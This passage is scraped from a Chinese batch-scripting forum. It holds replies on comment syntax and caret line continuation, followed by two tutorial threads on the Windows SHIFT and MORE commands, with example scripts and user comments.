还是有区别的，rem 就是表示当前行为注释的命令，而 :: 本质上是无效标签，而标签若存在于语块内极易致错，所以相比而言，rem 的兼容性更强。
不过我是比较喜欢用 :: 的，简单明了。
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
9楼
发表于 2011-8-30 18:38 | 只看该作者
回复 8# CrLf

:: 本质上是无效标签?我一直以为是注释符，（跟@具备将后面的语句括起的功能一样）只是没有官方的帮助而已。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

xudaweb
  • 发短消息
  • 加为好友

xudaweb 当前离线

UID
40915
帖子
124
精华
0
积分
189
PB
174
技术
5
捐助
0
阅读权限
20
在线时间
126 小时
注册时间
2011-8-22
最后登录
2016-4-22

二级士官

帖子
124
积分
189
技术
5
捐助
0
注册时间
2011-8-22
10楼
发表于 2011-8-30 18:50 | 只看该作者
回复 5# Hello123World

多谢版主的细心回答，不管怎么样先记下这种语法了。
就是不知道什么时候能用上这样的语句，感觉不适用啊...
学习...
回复 引用

评分 报告 TOP

JooKin
  • 发短消息
  • 加为好友

JooKin 当前离线

UID
40501
帖子
56
精华
0
积分
88
PB
82
技术
2
捐助
0
阅读权限
10
在线时间
17 小时
注册时间
2011-8-8
最后登录
2015-7-5

上等兵

帖子
56
积分
88
技术
2
捐助
0
注册时间
2011-8-8
11楼
发表于 2011-9-18 14:38 | 只看该作者
本帖最后由 JooKin 于 2011-9-18 14:40 编辑

回复 5# Hello123World

这里有解释：

可能我没有说清楚....
原来没加^的话,hello后面有回车和换行两个字符(\r\n ...
abcdshenji 发表于 2011-8-15 22:51 [image] [/quote]
  1. @echo off

  2. echo a^

  3.

  4. ^

  5. b^

  6.

  7. ^

  8. c

  9. pause>nul
复制代码
结果：
  1. a

  2. b

  3. c
复制代码
1

评分人数

    • Hello123World: 乐于助人技术 + 1
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
12楼
发表于 2011-9-18 15:17 | 只看该作者
回复 11# JooKin

你研究的够透彻，但是我还是不明白其中的原理。
究竟这回车、换行符在这个代码中有多少个？
回车=n次？
换行=m次？
  1. @echo off

  2. echo a^/r/n

  3. /n

  4. ^/r/n

  5. b^/r/n

  6. /n

  7. ^/r/n

  8. c

  9. pause>nul
复制代码
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

JooKin
  • 发短消息
  • 加为好友

JooKin 当前离线

UID
40501
帖子
56
精华
0
积分
88
PB
82
技术
2
捐助
0
阅读权限
10
在线时间
17 小时
注册时间
2011-8-8
最后登录
2015-7-5

上等兵

帖子
56
积分
88
技术
2
捐助
0
注册时间
2011-8-8
13楼
发表于 2011-9-18 20:30 | 只看该作者
本帖最后由 JooKin 于 2011-9-18 20:37 编辑

回复 12# Hello123World

可能是abcdshenji笔误，windows系统里正确的应该是换行符在前，回车符在后，即\n\r。unix系统里只有换行符\n。所以应该是：
  1. @echo off\n\r

  2. echo a^\n\r

  3. \n\r

  4. ^\n\r

  5. b^\n\r

  6. \n\r

  7. ^\n\r

  8. c\n\r

  9. pause>nul
复制代码
当第一次^后，转义了换行符，只有回车符起作用，所以接上第3行的\n\r，此时是占据一行的，如果没有碰到第4行的^，结果将是：
  1. a\n\r

  2. \n\r               //这里是第4行的\n\r
复制代码
这个效果就是：
  1. a
复制代码
也就是说，执行完第4行的\n\r的时候是打一个空行，等到执行到第5行b^\n\r的时候，因为前面有了第4行末尾的\n\r，所以cmd就会认为新的命令开始了，这跟cmd以换行回车为一条命令的结束标志是相符的。所以
  1. 'b' 不是内部或外部命令，也不是可运行的程序

  2. 或批处理文件。
复制代码
就解释的通了，因为b当然不是什么命令。如果第4行加了^，就跟前面的：
  1. @echo off

  2. echo a^

  3.

  4. b^

  5.

  6. c

  7. pause>nul
复制代码
同一个道理了，因为加了^之后第4行就没有换行符了，所以就接上第5行的b^\n\r，此时还是占据一行，所以结果就是：
  1. a^\n\r                        //这里是第3行的\n\r

  2. b^\n\r                       //这里原来是第4行，现在第5行的b^\n\r接上去了
复制代码
所以效果就是：
  1. a

  2. b
复制代码
首先你要明白的就是换行符负责把字符串向下移一行，回车符负责把开始打印的位置放到字符串的开头
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
14楼
发表于 2011-9-19 18:37 | 只看该作者
回复 13# JooKin

你说的其它的都对，比如以/n/r（换行回车）结尾，/n（换行）在前
例如：
  1. @echo off

  2. echo a^

  3. b

  4. pause>nul
复制代码
结果是
  1. ab
复制代码
这点有力的证明^确实转义的是换行符。

受益很多， 感谢你的回复。我还是不能理解，按你说的
cmd以换行回车为一条命令的结束标志是相符的

那么
  1. @echo off\n\r

  2. echo a^\n\r

  3. \n\r

  4. ^\n\r

  5. b^\n\r

  6. \n\r

  7. ^\n\r

  8. c\n\r

  9. pause>nul
复制代码
这里为什么没有在第3行就结束，第3行不是有个换行回车吗？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

JooKin
  • 发短消息
  • 加为好友

JooKin 当前离线

UID
40501
帖子
56
精华
0
积分
88
PB
82
技术
2
捐助
0
阅读权限
10
在线时间
17 小时
注册时间
2011-8-8
最后登录
2015-7-5

上等兵

帖子
56
积分
88
技术
2
捐助
0
注册时间
2011-8-8
15楼
发表于 2011-9-19 20:36 | 只看该作者
本帖最后由 JooKin 于 2011-9-19 20:43 编辑

回复 14# Hello123World

不是的，执行完第3行（严格来说应该是第2行，因为^的存在原来的第3行已经接上第2行的末尾成为一行了）已经结束了。看下面的两个例子就明白了：
  1. ::例1

  2. @echo off

  3. echo Hey,Hello123World!

  4.

  5.

  6. pause
复制代码
结果：
  1. Hey,Hello123World!

  2. 请按任意键继续. . .
复制代码
  1. ::例2

  2. @echo off

  3. echo Hey,Hello123World!^

  4.

  5.

  6. pause
复制代码
结果：
  1. Hey,Hello123World!

  2.

  3. 请按任意键继续. . .
复制代码
第2个例子只是在第2行末尾加了个^，为什么结果会多一个空行？因为加了^后，第3行的\n\r接上了第2行的末尾，跟第2行成为1行了，此时的第3行的位置已经是原来第4行的\n\r了。这个时候执行完第2行，因为末尾有原来的第三行的\n\r，所以到此就结束了。接下来就轮到执行第3行的内容了，并且是另起一行（这个应该不用解释了，因为上一行有\n存在），但是因为第3行只有\n\r（原来第4行的\n\r）了，没有任何命令，所以造成的结果就是执行第4行的pause的时候又另起一行了，很明显是因为第3行的\n的缘故，所有整个结果跟第1个例子相比就是中间多出了\n\r（原来第4行的\n\r）,即空行。

还有就是连续的多个\n\r只有一个起作用,再结合前面两个例子看：
  1. @echo off

  2. echo Hey,Hello123World!^

  3.

  4.

  5.

  6.

  7.

  8.

  9.

  10.

  11.

  12.

  13.

  14.

  15.

  16.

  17.

  18.

  19.

  20.

  21. pause
复制代码
回复 引用

评分 报告 TOP

1 2 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:25, Processed in 0.051701 second(s), 9 queries, Gzip enabled.


46、更改参数的位置：shift

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（46）更改参数的位置：shift
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-12-23 12:42 | 只看该作者

[原创] [批处理命令一日一教学 续]（46）更改参数的位置：shift

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 更改批处理文件中可替换参数的位置。

  2.

  3. SHIFT [/n]

  4.

  5. 如果命令扩展被启用，SHIFT 命令支持/n 命令行开关；该命令行开关告诉

  6. 命令从第 n 个参数开始移位；n 介于零和八之间。例如:

  7.

  8.     SHIFT /2

  9.

  10. 会将 %3 移位到 %2，将 %4 移位到 %3，等等；并且不影响 %0 和 %1。
复制代码
.

命令概括：

Shift，意为“移动、转移”，这里可以引申为“移除”。

这个命令的学习，需要对%1~%9这9个形参有一定的了解（参考call命令）。

题外话：Shift还是最常用的三键之一“Shift、Ctrl、Alt”。

参数详解：

Shift命令其实有个很形象的比喻：“税务局王局长退休了，来个李局长，李局长退休了，来个赵局长……”——这意思就是“人事再怎么变动，位子总是不空的”；这个比喻还不算最贴切，更有点像战时编制不完整的部队，但又到了绝境、又不想投降，就会说“师长死了，旅长顶替，旅长死了，团长顶替……”——“哪个位置的人死了，位于下面位置的人就来顶替，反正就是要死战到底”。

例如：
  1. @echo off

  2. Call :test 一 二 三 四 五 六 七 八 九

  3. pause&exit

  4. :test

  5. echo %1 %2 %3 %4 %5

  6. echo %6 %7 %8 %9

  7. Shift /4

  8. echo %1 %2 %3 %4 %5

  9. echo %6 %7 %8 %9

  10. pause
复制代码
.

结果：
  1. 一 二 三 四 五

  2. 六 七 八 九

  3. 一 二 三 五 六

  4. 七 八 九
复制代码
.

解释：

这里假设 一~九是9个人的名字，%1~%9是9个从高到低的官职。

Shift /4就是说“四”死了，%1~%3的人事不变，%5~%9都依次升官，%5坐到了%4的位子上，他的名字叫“五”。

光杆Shift等于“Shift /0”，shift后面跟的数字只能是0~8.

扩展阅读：
无。（这个应用应该不少，但是我不会。）
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

qq2501
  • 发短消息
  • 加为好友

qq2501 当前离线

UID
44078
帖子
57
精华
0
积分
105
PB
96
技术
3
捐助
0
阅读权限
20
在线时间
52 小时
注册时间
2011-12-14
最后登录
2012-1-20

一级士官

帖子
57
积分
105
技术
3
捐助
0
注册时间
2011-12-14
2楼
发表于 2011-12-23 13:31 | 只看该作者
本帖最后由 qq2501 于 2011-12-23 13:37 编辑

shift /* 就是*至最后面的块内移位，前面的移调，最后的为空
回复 引用

评分 报告 TOP

jellyhk
  • 发短消息
  • 加为好友

jellyhk 当前离线

UID
3387
帖子
356
精华
0
积分
2174
PB
2159
技术
5
捐助
0
阅读权限
60
在线时间
80 小时
注册时间
2008-8-4
最后登录
2012-5-26

少校

帖子
356
积分
2174
技术
5
捐助
0
注册时间
2008-8-4
3楼
发表于 2011-12-23 20:03 | 只看该作者
没看出来什么情况能用！
本人已死！不用联系！~
要联系下来联系！~~
回复 引用

评分 报告 TOP

awk
  • 发短消息
  • 加为好友

awk 当前离线

UID
41315
帖子
606
精华
0
积分
1130
PB
842
技术
96
捐助
0
阅读权限
50
在线时间
214 小时
注册时间
2011-9-4
最后登录
2013-9-5

上尉

帖子
606
积分
1130
技术
96
捐助
0
注册时间
2011-9-4
4楼
发表于 2011-12-23 21:48 | 只看该作者
回复 3# jellyhk

当你需要向子函数传递大于9个位置参数的时候，也许会用到。
回复 引用

评分 报告 TOP

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
5楼
发表于 2012-1-19 11:19 | 只看该作者
刚刚看了一下，的确有好好去理解一下和运用一下的哦
回复 引用

评分 报告 TOP

clonecd
  • 发短消息
  • 加为好友

clonecd 当前离线

UID
24102
帖子
19
精华
0
积分
19
PB
19
技术
0
捐助
0
阅读权限
5
在线时间
72 小时
注册时间
2010-4-25
最后登录
2013-8-19

列兵

帖子
19
积分
19
技术
0
捐助
0
注册时间
2010-4-25
6楼
发表于 2012-5-18 23:23 | 只看该作者
对shift的了解又深了一步。
回复 引用

评分 报告 TOP

jackmux
  • 发短消息
  • 加为好友

jackmux 当前离线

UID
38599
帖子
18
精华
0
积分
18
PB
18
技术
0
捐助
0
阅读权限
5
在线时间
24 小时
注册时间
2011-6-14
最后登录
2013-10-22

列兵

帖子
18
积分
18
技术
0
捐助
0
注册时间
2011-6-14
7楼
发表于 2012-5-25 22:38 | 只看该作者
学了一点 :):lol
简单
回复 引用

评分 报告 TOP

shelluserwlb
  • 发短消息
  • 加为好友

shelluserwlb 当前离线

UID
42319
帖子
84
精华
0
积分
109
PB
103
技术
2
捐助
0
阅读权限
20
在线时间
53 小时
注册时间
2011-10-5
最后登录
2017-1-9

一级士官

帖子
84
积分
109
技术
2
捐助
0
注册时间
2011-10-5
8楼
发表于 2014-11-6 14:36 | 只看该作者
本帖最后由 shelluserwlb 于 2014-11-6 14:42 编辑

光杆shift 相当于 shift /1 结果是删除了第一个参数，后面的参数依次往上填补。
@echo off
call:test 一 二 三 四 五 六 七 八 九 十 十一 十二 十三 十四 十五 十六
pause&exit
:test
echo %1 %2 %3 %4 %5 %6 %7 %8
for /l %%i in (1,1,8) do shift
echo %1 %2 %3 %4 %5 %6 %7 %8

运行结果：
一 二 三 四 五 六 七 八
九 十 十一 十二 十三 十四 十五 十六
请按任意键继续....
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
9楼
发表于 2014-11-7 19:38 | 只看该作者
尴尬，我这个老鸟从没学过这个命令，5555，可怜的孩子在XP被计划掉了！~
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

amwfjhh
  • 发短消息
  • 加为好友

amwfjhh 当前离线

UID
69275
帖子
255
精华
0
积分
335
PB
290
技术
15
捐助
0
阅读权限
20
在线时间
167 小时
注册时间
2014-11-3
最后登录
2017-10-1

五级士官

帖子
255
积分
335
技术
15
捐助
0
注册时间
2014-11-3
10楼
发表于 2014-12-2 22:45 | 只看该作者
回复 9# cjiabing

XP没了？我这有呢。不过还真没咋用过SHIFT，这玩艺弄游戏的人用得多吧。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:26, Processed in 0.040902 second(s), 7 queries, Gzip enabled.


47、一次只显示单屏内容：more

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:
加载中...

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（47）一次只显示单屏内容：more
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-12-29 16:15 | 只看该作者

[原创] [批处理命令一日一教学 续]（47）一次只显示单屏内容：more

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 逐屏显示输出。

  2.

  3. MORE [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  4. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  5. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]

  6.

  7.     [drive:][path]filename  指定要逐屏显示的文件。

  8.

  9.     command-name            指定要显示其输出的命令。

  10.

  11.     /E      启用扩展功能

  12.     /C      显示页面前先清除屏幕

  13.     /P      扩展 FormFeed 字符

  14.     /S      将多个空白行缩成一行

  15.     /Tn     将制表符扩展为 n 个空格(默认值为 8)

  16.

  17.             开关可以出现在 MORE 环境变量中。

  18.     +n      从第 n 行开始显示第一个文件

  19.

  20.     files   要显示的文件列表。使用空格分隔列表中的文件。

  21.             如果已启用扩展功能，则在 -- More -- 提示处 接受下列命令:

  22.     P n 显示下 n 行

  23.     S n 跳过下 n 行

  24.     F 显示下个文件

  25.     Q 退出

  26.     = 显示行号

  27.     ? 显示帮助行

  28.     <space> 显示下一页

  29.     <ret> 显示下一行
复制代码
命令概括：

more，意为“更多”，这里可以引申为“除这些外还有……”
/e，enable Expansion，意为“允许扩展“。
/c，clear，意为”清除“。
/p，expand，意为”扩展“。
/s,squeeze，意为”挤；压榨“。”挤“字已经非常形象的说明了这个参数的用途。
/t，tabs，意为”制表符“。

参数详解：

more命令就是一次显示一屏幕的内容（这里的一屏幕是指cmd窗口的屏幕，不是显示器）。

1.将指定命令的输出，逐屏显示

最常用到情况的是显示ip地址信息的时候。
例如：
  1. C:\Users\helloworld\Desktop>ipconfig /all |more
复制代码
.

结果：
  1. Windows IP 配置

  2.

  3.    主机名  . . . . . . . . . . . . . : helloworld-PC

  4.    主 DNS 后缀 . . . . . . . . . . . :

  5.    节点类型  . . . . . . . . . . . . : 混合

  6.    IP 路由已启用 . . . . . . . . . . : 否

  7.    WINS 代理已启用 . . . . . . . . . : 否

  8.

  9. PPP 适配器 宽带连接:

  10.

  11.    连接特定的 DNS 后缀 . . . . . . . :

  12.    描述. . . . . . . . . . . . . . . : 宽带连接

  13.    物理地址. . . . . . . . . . . . . :

  14.    DHCP 已启用 . . . . . . . . . . . : 否

  15.    自动配置已启用. . . . . . . . . . : 是

  16.    IPv4 地址 . . . . . . . . . . . . : 110.206.18.142(首选)

  17.    子网掩码  . . . . . . . . . . . . : 255.255.255.255

  18.    默认网关. . . . . . . . . . . . . : 0.0.0.0

  19.    DNS 服务器  . . . . . . . . . . . : 61.234.254.6

  20.                                        211.98.2.4

  21.    TCPIP 上的 NetBIOS  . . . . . . . : 已禁用

  22.

  23. 以太网适配器 本地连接:

  24. -- More  --
复制代码
.

2.逐屏显示指定文本的内容

1.txt中的内容：
  1. 逐屏显示输出。

  2.

  3. MORE [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  4. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  5. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]

  6.

  7.     [drive:][path]filename  指定要逐屏显示的文件。

  8.

  9.     command-name            指定要显示其输出的命令。

  10.

  11.     /E      启用扩展功能

  12.     /C      显示页面前先清除屏幕

  13.     /P      扩展 FormFeed 字符

  14.     /S      将多个空白行缩成一行

  15.     /Tn     将制表符扩展为 n 个空格(默认值为 8)

  16.

  17.             开关可以出现在 MORE 环境变量中。

  18.     +n      从第 n 行开始显示第一个文件

  19.

  20.     files   要显示的文件列表。使用空格分隔列表中的文件。

  21.             如果已启用扩展功能，则在 -- More -- 提示处 接受下列命令:

  22.     P n 显示下 n 行

  23.     S n 跳过下 n 行

  24.     F 显示下个文件

  25.     Q 退出

  26.     = 显示行号

  27.     ? 显示帮助行

  28.     <space> 显示下一页

  29.     <ret> 显示下一行
复制代码
.

这有两种写法。

①.直接显示。
代码：
  1. C:\Users\HELLOW~1\Desktop>more 1.txt
复制代码
.

效果：
  1. 逐屏显示输出。

  2.

  3. MORE [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  4. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  5. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]

  6.

  7.     [drive:][path]filename  指定要逐屏显示的文件。

  8.

  9.     command-name            指定要显示其输出的命令。

  10.

  11.     /E      启用扩展功能

  12.     /C      显示页面前先清除屏幕

  13.     /P      扩展 FormFeed 字符

  14.     /S      将多个空白行缩成一行

  15.     /Tn     将制表符扩展为 n 个空格(默认值为 8)

  16.

  17.             开关可以出现在 MORE 环境变量中。

  18.     +n      从第 n 行开始显示第一个文件

  19.

  20.     files   要显示的文件列表。使用空格分隔列表中的文件。

  21.             如果已启用扩展功能，则在 -- More -- 提示处 接受下列命令:

  22.     P n 显示下 n 行

  23.     S n 跳过下 n 行

  24.     F 显示下个文件

  25. -- More (88%) --
复制代码
.

②.用重定向符显示。
代码：
  1. C:\Users\HELLOW~1\Desktop>more<1.txt
复制代码
.

结果：
  1. 逐屏显示输出。

  2.

  3. MORE [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  4. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  5. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]

  6.

  7.     [drive:][path]filename  指定要逐屏显示的文件。

  8.

  9.     command-name            指定要显示其输出的命令。

  10.

  11.     /E      启用扩展功能

  12.     /C      显示页面前先清除屏幕

  13.     /P      扩展 FormFeed 字符

  14.     /S      将多个空白行缩成一行

  15.     /Tn     将制表符扩展为 n 个空格(默认值为 8)

  16.

  17.             开关可以出现在 MORE 环境变量中。

  18.     +n      从第 n 行开始显示第一个文件

  19.

  20.     files   要显示的文件列表。使用空格分隔列表中的文件。

  21.             如果已启用扩展功能，则在 -- More -- 提示处 接受下列命令:

  22.     P n 显示下 n 行

  23.     S n 跳过下 n 行

  24.     F 显示下个文件

  25. -- More  --
复制代码
.

这两种显示文本的方法，除了写法不同，就目测来说，“直接显示”会显示文本已显示的百分比（-- More (88%) --），而“重定向显示”不会显示出百分比（-- More --）。

3.显示前先清除屏幕
代码：
  1. more /c 1.txt
复制代码
.

等效代码：
  1. cls

  2. more 1.txt
复制代码
.

没错，/c参数就相当于在more命令的前面加了一条cls命令（在提示符状态下，其实也不完全是在前加一条cls，因为/c参数还会清除more命令本身的回显）。

4.将连续的空白行缩成一行
代码：
  1. more /s 1.txt
复制代码
.

关键词：“连续的”
这个参数不是消除空白行，而是将连续的多行空白，缩成一行空白。——这中间的差别一定要弄清，不然很容易就用错命令。

5.将制表符变为指定个数的空格符

代码：
  1. more /t1 1.txt
复制代码
.

制表符就是tab键按下后产生的符号。

如果不加/t参数就会直接显示制表符的样式，加上/t并指定空格数，就会显示指定个空格。

这个参数并不常用。

6.跳过指定行

跳过头两行。

代码：
  1. more +2 1.txt
复制代码
.

效果：
  1. MORE    [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  2. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  3. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]

  4.

  5.     [drive:][path]filename  指定要逐屏显示的文件。

  6.

  7.     command-name            指定要显示其输出的命令。

  8.

  9.     /E      启用扩展功能

  10.     /C      显示页面前先清除屏幕

  11.     /P      扩展 FormFeed 字符

  12.     /S      将多个空白行缩成一行

  13.     /Tn     将制表符扩展为 n 个空格(默认值为 8)

  14.

  15.             开关可以出现在 MORE 环境变量中。

  16.     +n      从第 n 行开始显示第一个文件

  17.

  18.     files   要显示的文件列表。使用空格分隔列表中的文件。

  19.             如果已启用扩展功能，则在 -- More -- 提示处 接受下列命令:

  20.     P n 显示下 n 行

  21.     S n 跳过下 n 行

  22.     F 显示下个文件

  23.     Q 退出

  24.     = 显示行号

  25. -- More (92%) --
复制代码
.

跳过的行：
逐屏显示输出。
空行。

空行也算是一行。

7.“跳过指定行”（+n）的优先级高于/s参数。

我们知道/s 是将连续的空白行缩成一行，那么假如一个文本头中有5行（有4行为空行），而我同时用到+2（跳过头两行）和/s参数会怎样呢？

1.txt
  1. 逐屏显示输出。

  2.

  3.

  4.

  5.

  6. MORE	[/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  7. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  8. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]
复制代码
.

代码：
  1. more /s +2 1.txt
复制代码
.

效果：
  1. [color=Red]空行。[/color]

  2. MORE    [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename

  3. command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]

  4. MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]
复制代码
.

显示了1行空行，说明+2先于/s参数运行，因为如果/s参数先运行再跳过2行，那么结果就不会有空行。

8.逐屏显示多个文件。

1.txt
  1. hello
复制代码
.

2.txt
  1. world
复制代码
.

代码：
  1. more 1.txt 2.txt
复制代码
.

效果：
  1. hello

  2. world
复制代码
.

9.在显示未完成时（完成度百分比小于100%）的操作命令—— 一般用于命令提示符中
  1.  P n 显示下 n 行（先输入p，然后输入0-9的数字）

  2.     S n 跳过下 n 行（同p，但不是显示而是跳过）

  3.     F 显示下个文件（用于more命令显示多个文件的情况）

  4.     Q 退出

  5.     = 显示当前显示最后一行的行号

  6.     ? 显示帮助

  7.  空格键  显示下一页

  8. 回车键  显示下一行
复制代码
.

扩展阅读：

无。
1

评分人数

    • Batcher: 感谢分享技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

Realjack
  • 发短消息
  • 加为好友

Realjack 当前离线

UID
34526
帖子
8
精华
0
积分
23
PB
23
技术
0
捐助
0
阅读权限
5
在线时间
5 小时
注册时间
2011-2-19
最后登录
2018-5-23

列兵

帖子
8
积分
23
技术
0
捐助
0
注册时间
2011-2-19
2楼
发表于 2012-1-5 20:37 | 只看该作者
太强悍了，拜读中
回复 引用

评分 报告 TOP

clonecd
  • 发短消息
  • 加为好友

clonecd 当前离线

UID
24102
帖子
19
精华
0
积分
19
PB
19
技术
0
捐助
0
阅读权限
5
在线时间
72 小时
注册时间
2010-4-25
最后登录
2013-8-19

列兵

帖子
19
积分
19
技术
0
捐助
0
注册时间
2010-4-25
3楼
发表于 2012-5-16 14:24 | 只看该作者
MORE有这么多的参数，受教了。
回复 引用

评分 报告 TOP

0wlh0
  • 发短消息
  • 加为好友

0wlh0 当前离线

UID
53367
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
9 小时
注册时间
2012-10-25
最后登录
2012-11-19

列兵

帖子
2
